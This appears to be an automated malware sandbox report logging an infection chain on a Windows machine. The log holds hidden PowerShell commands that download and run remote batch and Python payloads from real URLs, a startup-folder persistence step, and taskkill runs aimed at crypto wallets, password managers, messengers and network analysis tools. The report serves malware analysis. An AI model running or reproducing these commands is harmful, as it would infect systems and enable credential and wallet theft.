Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6276:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5804:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2504:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1668:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6996:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5124:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1188:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:944:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6148:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:2176:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5300:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1228:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:792:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:1420:120:WilError_03
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6612:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p1f0ohvi.akj.ps1

Jump to behavior

Source: unknown

Process created: C:\Windows\System32\cmd.exe "C:\WINDOWS\system32\cmd.exe" /c "powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden""

Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "ArmoryQt.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Atomic Wallet.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "snpa.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "bytecoin-gui.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Coinomi.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Element.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Exodus.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Guarda.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "KeePassXC.exe")
Source: C:\Windows\System32\conhost.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "telegram.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "NordVPN.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "OpenVPNConnect.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "seamonkey.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Signal.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "filezilla.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "filezilla-server-gui.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "keepassxc-proxy.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "nordvpn-service.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "steam.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "walletd.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "waterfox.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Discord.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "DiscordCanary.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "burp.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Ethereal.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "EtherApe.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "fiddler.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "HTTPDebuggerSvc.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "HTTPDebuggerUI.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "Atomic Wallet.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "snpa.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "solarwinds.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "tcpdump.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "telerik.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "wireshark.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "winpcap.exe")
Source: C:\Windows\System32\taskkill.exe	WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime, ParentProcessId FROM Win32_Process WHERE ( Caption = "telegram.exe")

Source: unknown	Process created: C:\Windows\System32\cmd.exe "C:\WINDOWS\system32\cmd.exe" /c "powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden""
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\temp.bat" "
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\Document\python.exe "C:\Users\Public\Document\python.exe" C:\Users\Public\Document\Lib\prt.py
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM ArmoryQt.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM "Atomic Wallet.exe"
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM bytecoin-gui.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Coinomi.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Element.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Exodus.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Guarda.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM KeePassXC.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM NordVPN.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM OpenVPNConnect.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM seamonkey.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Signal.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM filezilla.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM filezilla-server-gui.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM keepassxc-proxy.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM nordvpn-service.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM steam.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM walletd.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM waterfox.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Discord.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM DiscordCanary.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM burp.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Ethereal.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM EtherApe.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM fiddler.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM HTTPDebuggerSvc.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM HTTPDebuggerUI.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM solarwinds.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM tcpdump.exe
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM telerik.exe
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM wireshark.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM winpcap.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM telegram.exe
Source: C:\Windows\System32\taskkill.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell -WindowStyle Hidden -Command "Invoke-WebRequest -Uri 'https://tinyurl.com/tt34x' -OutFile 'C:\Users\user\AppData\Local\Temp\temp.bat'; Start-Process -FilePath 'C:\Users\user\AppData\Local\Temp\temp.bat' -WindowStyle Hidden"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /c ""C:\Users\user\AppData\Local\Temp\temp.bat" "	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -WindowStyle Hidden -Command "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12; (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/u/raw/main/ud.bat', 'C:\Users\user\AppData\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\WindowsSecure.bat'); (New-Object -TypeName System.Net.WebClient).DownloadFile('https://github.com/ty9989/z/raw/main/T3.zip', 'C:\\Users\\Public\\Document.zip'); Add-Type -AssemblyName System.IO.Compression.FileSystem; [System.IO.Compression.ZipFile]::ExtractToDirectory('C:/Users/Public/Document.zip', 'C:/Users/Public/Document'); Start-Sleep -Seconds 1; C:\\Users\\Public\\Document\\python.exe C:\Users\Public\Document\Lib\prt.py; Remove-Item 'C:/Users/Public/Document.zip' -Force"	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Users\Public\Document\python.exe "C:\Users\Public\Document\python.exe" C:\Users\Public\Document\Lib\prt.py	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM ArmoryQt.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM "Atomic Wallet.exe"	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM bytecoin-gui.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Coinomi.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Element.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Exodus.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Guarda.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM KeePassXC.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM NordVPN.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM OpenVPNConnect.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM seamonkey.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Signal.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM filezilla.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM filezilla-server-gui.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM keepassxc-proxy.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM nordvpn-service.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM steam.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM walletd.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM waterfox.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Discord.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM DiscordCanary.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM burp.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM Ethereal.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM EtherApe.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM fiddler.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM HTTPDebuggerSvc.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM HTTPDebuggerUI.exe	Jump to behavior
Source: C:\Users\Public\Document\python.exe	Process created: C:\Windows\System32\taskkill.exe taskkill /F /IM "Atomic Wallet.exe"	Jump to behavior
